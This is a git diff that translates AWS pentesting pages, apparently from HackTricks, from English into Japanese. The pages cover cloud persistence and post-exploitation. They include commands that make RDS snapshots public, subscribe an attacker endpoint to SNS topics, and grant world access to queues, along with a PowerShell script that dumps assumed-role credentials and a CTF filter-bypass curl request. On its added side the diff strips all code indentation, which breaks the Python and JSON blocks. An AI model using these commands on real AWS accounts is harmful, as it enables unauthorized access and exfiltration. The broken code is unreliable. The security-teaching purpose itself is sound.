aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
-
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 88b0d082a..a5c4d6bc6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -4,34 +4,30 @@
## Lightsail
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
-### Download Instance SSH keys & DB passwords
+### インスタンスのSSHキーとDBパスワードのダウンロード
-They won't be changed probably so just having them is a good option for persistence
+おそらく変更されないので、持っているだけで持続性のための良いオプションです。
-### Backdoor Instances
+### バックドアインスタンス
-An attacker could get access to the instances and backdoor them:
+攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key**
-- Expose a port with port knocking with a backdoor
+- 例えば、従来の**rootkit**を使用する
+- 新しい**公開SSHキー**を追加する
+- バックドアを持つポートノッキングでポートを公開する
-### DNS persistence
+### DNS持続性
-If domains are configured:
+ドメインが設定されている場合:
-- Create a subdomain pointing your IP so you will have a **subdomain takeover**
-- Create **SPF** record allowing you to send **emails** from the domain
-- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
+- あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う
+- ドメインから**メール**を送信できるようにする**SPF**レコードを作成する
+- **メインドメインのIPを自分のものに設定し、正当なものへの**MitM**を行う
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b7a4b8f7b..965088a61 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -4,32 +4,24 @@
## RDS
-For more information check:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
+### インスタンスを公開アクセス可能にする: `rds:ModifyDBInstance`
+この権限を持つ攻撃者は、**既存のRDSインスタンスを変更して公開アクセスを有効にすることができます**。
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
+### DB内に管理者ユーザーを作成する
-### Create an admin user inside the DB
-
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
-
-### Make snapshot public
+攻撃者は**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
+### スナップショットを公開する
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index f2c4ce048..8add98db6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -4,26 +4,22 @@
## S3
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS Client-Side Encryption
+### KMS クライアントサイド暗号化
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキー (`aws kms generate-data-key`) を生成し、**生成された暗号化キーをファイルのメタデータ内に保存します** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))。これにより、復号化が行われるときに再度 KMS を使用して復号化できます:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
+したがって、攻撃者はメタデータからこのキーを取得し、KMS (`aws kms decrypt`) を使用して復号化し、情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用されている場合、使用することができます。
-### Using S3 ACLs
+### S3 ACL の使用
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
+通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者は、それらを悪用することができます(有効な場合や攻撃者が有効にできる場合)ので、S3 バケットへのアクセスを維持できます。
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index c15f27003..7f09f6a4c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -4,54 +4,48 @@
## Secrets Manager
-For more info check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Via Resource Policies
+### リソースポリシーを介して
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
+リソースポリシーを介して**外部アカウントに秘密へのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privescページ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**秘密にアクセスする**には、外部アカウントも**秘密を暗号化するKMSキーへのアクセスが必要**です。
-### Via Secrets Rotate Lambda
+### Secrets Rotate Lambdaを介して
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
+秘密を自動的に**回転させる**ために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しい秘密を自分に流出させる**ことができます。
+このようなアクションのためのLambdaコードは次のようになります:
```python
import boto3
def rotate_secrets(event, context):
- # Create a Secrets Manager client
- client = boto3.client('secretsmanager')
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
- # Retrieve the current secret value
- secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
- # Rotate the secret by updating its value
- new_secret_value = rotate_secret(secret_value)
- client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
- # Perform the rotation logic here, e.g., generate a new password
+# Perform the rotation logic here, e.g., generate a new password
- # Example: Generate a new password
- new_secret_value = generate_password()
+# Example: Generate a new password
+new_secret_value = generate_password()
- return new_secret_value
+return new_secret_value
def generate_password():
- # Example: Generate a random password using the secrets module
- import secrets
- import string
- password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
- return password
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 8e97cc81c..d40f52514 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -4,7 +4,7 @@
## SNS
-For more information check:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-sns-enum.md
@@ -12,74 +12,66 @@ For more information check:
### Persistence
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
-
+**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
+以下のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__default_statement_ID",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": [
- "SNS:Publish",
- "SNS:RemovePermission",
- "SNS:SetTopicAttributes",
- "SNS:DeleteTopic",
- "SNS:ListSubscriptionsByTopic",
- "SNS:GetTopicAttributes",
- "SNS:AddPermission",
- "SNS:Subscribe"
- ],
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
- "Condition": {
- "StringEquals": {
- "AWS:SourceOwner": "318142138553"
- }
- }
- },
- {
- "Sid": "__console_pub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Publish",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- },
- {
- "Sid": "__console_sub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Subscribe",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
}
```
-
### Create Subscribers
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのためにサブスクライバーを作成する**ことができます。
+**トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
```bash
aws sns subscribe --region \
- --protocol http \
- --notification-endpoint http:/// \
- --topic-arn
+--protocol http \
+--notification-endpoint http:/// \
+--topic-arn
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 88f396173..2a4202b2c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -4,40 +4,34 @@
## SQS
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
+### リソースポリシーの使用
+SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
+次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのものへのアクセスを許可します:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__owner_statement",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": ["SQS:*"],
- "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
}
```
-
> [!NOTE]
-> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**(再度追加する必要があります)。これに関しては、以下の指示に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index c1b9a422b..3bd0aae28 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1,6 +1 @@
# AWS - SSM Perssitence
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 4e8c120ff..95a3a977b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -4,22 +4,18 @@
## Step Functions
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Step function Backdooring
+### ステップ関数のバックドア
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
+ステップ関数にバックドアを仕掛けて、実行されるたびに悪意のあるステップを実行するようにします。
-### Backdooring aliases
+### バックドアリングエイリアス
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
+AWSアカウントがステップ関数を呼び出すためにエイリアスを使用している場合、新しいバックドア付きのステップ関数を使用するようにエイリアスを変更することが可能です。
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 74db04bec..92ed47c0c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -4,7 +4,7 @@
## STS
-For more information access:
+詳細情報は以下にアクセスしてください:
{{#ref}}
../aws-services/aws-sts-enum.md
@@ -12,54 +12,51 @@ For more information access:
### Assume role token
-Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
+一時的なトークンはリストできないため、アクティブな一時的トークンを維持することが持続性を維持する方法です。
aws sts get-session-token --duration-seconds 129600
-# With MFA
+# MFAを使用する場合
aws sts get-session-token \
- --serial-number <mfa-device-name> \
- --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
+# SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
+# 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
### Role Chain Juggling
-[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
-
-You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
+[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的な方法**で最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
+この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
optional arguments:
- -h, --help show this help message and exit
- -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
+-h, --help show this help message and exit
+-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
-
> [!CAUTION]
-> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
+> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成できるすべての方法を見つけるわけではありません。
-Code to perform Role Juggling from PowerShell
-
+PowerShellからロールジャグリングを実行するためのコード
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
- Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
- exit
+Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
+exit
}
# Function to list IAM roles
function List-IAMRoles {
- aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
+aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
}
# Initialize error count
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
# Attempt to assume each role
foreach ($role in $roles) {
- $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($credentials) {
- Write-Host "Successfully assumed role: $($role.RoleName)"
- Write-Host "Access Key: $($credentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
- Write-Host "Session Token: $($credentials.SessionToken)"
- Write-Host "Expiration: $($credentials.Expiration)"
+$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($credentials) {
+Write-Host "Successfully assumed role: $($role.RoleName)"
+Write-Host "Access Key: $($credentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
+Write-Host "Session Token: $($credentials.SessionToken)"
+Write-Host "Expiration: $($credentials.Expiration)"
- # Set temporary credentials to assume the next role
- $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
- $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
- $env:AWS_SESSION_TOKEN = $credentials.SessionToken
+# Set temporary credentials to assume the next role
+$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
+$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
+$env:AWS_SESSION_TOKEN = $credentials.SessionToken
- # Try to assume another role using the temporary credentials
- foreach ($nextRole in $roles) {
- if ($nextRole.Arn -ne $role.Arn) {
- $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($nextCredentials) {
- Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
- Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
- Write-Host "Session Token: $($nextCredentials.SessionToken)"
- Write-Host "Expiration: $($nextCredentials.Expiration)"
- }
- } catch {
- $errorCount++
- }
- }
- }
+# Try to assume another role using the temporary credentials
+foreach ($nextRole in $roles) {
+if ($nextRole.Arn -ne $role.Arn) {
+$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($nextCredentials) {
+Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
+Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
+Write-Host "Session Token: $($nextCredentials.SessionToken)"
+Write-Host "Expiration: $($nextCredentials.Expiration)"
+}
+} catch {
+$errorCount++
+}
+}
+}
- # Reset environment variables
- Remove-Item Env:\AWS_ACCESS_KEY_ID
- Remove-Item Env:\AWS_SECRET_ACCESS_KEY
- Remove-Item Env:\AWS_SESSION_TOKEN
- } else {
- $errorCount++
- }
- } catch {
- $errorCount++
- }
+# Reset environment variables
+Remove-Item Env:\AWS_ACCESS_KEY_ID
+Remove-Item Env:\AWS_SECRET_ACCESS_KEY
+Remove-Item Env:\AWS_SESSION_TOKEN
+} else {
+$errorCount++
+}
+} catch {
+$errorCount++
+}
}
# Output the number of errors if any
if ($errorCount -gt 0) {
- Write-Host "$errorCount error(s) occurred during role assumption attempts."
+Write-Host "$errorCount error(s) occurred during role assumption attempts."
} else {
- Write-Host "No errors occurred. All roles checked successfully."
+Write-Host "No errors occurred. All roles checked successfully."
}
Write-Host "Role juggling check complete."
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
index 53f79d916..2d05f19d4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
@@ -1,6 +1 @@
-# AWS - Post Exploitation
-
-
-
-
-
+# AWS - ポストエクスプロイテーション
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 4847c40e0..e2fe70e0e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -4,48 +4,43 @@
## API Gateway
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Access unexposed APIs
+### 公開されていないAPIへのアクセス
-You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
-Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
+[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワーク(EC2マシン経由の可能性あり)でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\
+その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。
-### Bypass Request body passthrough
+### リクエストボディのパススルーをバイパスする
-This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。
-As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
-
-Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
+[AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。
+したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**:
```yaml
RequestTemplates:
- application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
+しかし、**`Content-type: text/json`**を使用してリクエストを送信すると、そのフィルターを回避できます。
-However, sending a request with **`Content-type: text/json`** would prevent that filter.
-
-Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
-
+最後に、API Gatewayが`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
-
### Usage Plans DoS
-In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
+**列挙**セクションでは、**使用プラン**を**取得する**方法を確認できます。キーを持っていて、それが**月あたりX回の使用に制限されている**場合、**単に使用してDoSを引き起こす**ことができます。
-The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
+**APIキー**は、**`x-api-key`**という**HTTPヘッダー**に**含める**必要があります。
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+`apigateway:UpdateGatewayResponse`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
> [!NOTE]
-> Need testing
+> テストが必要
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
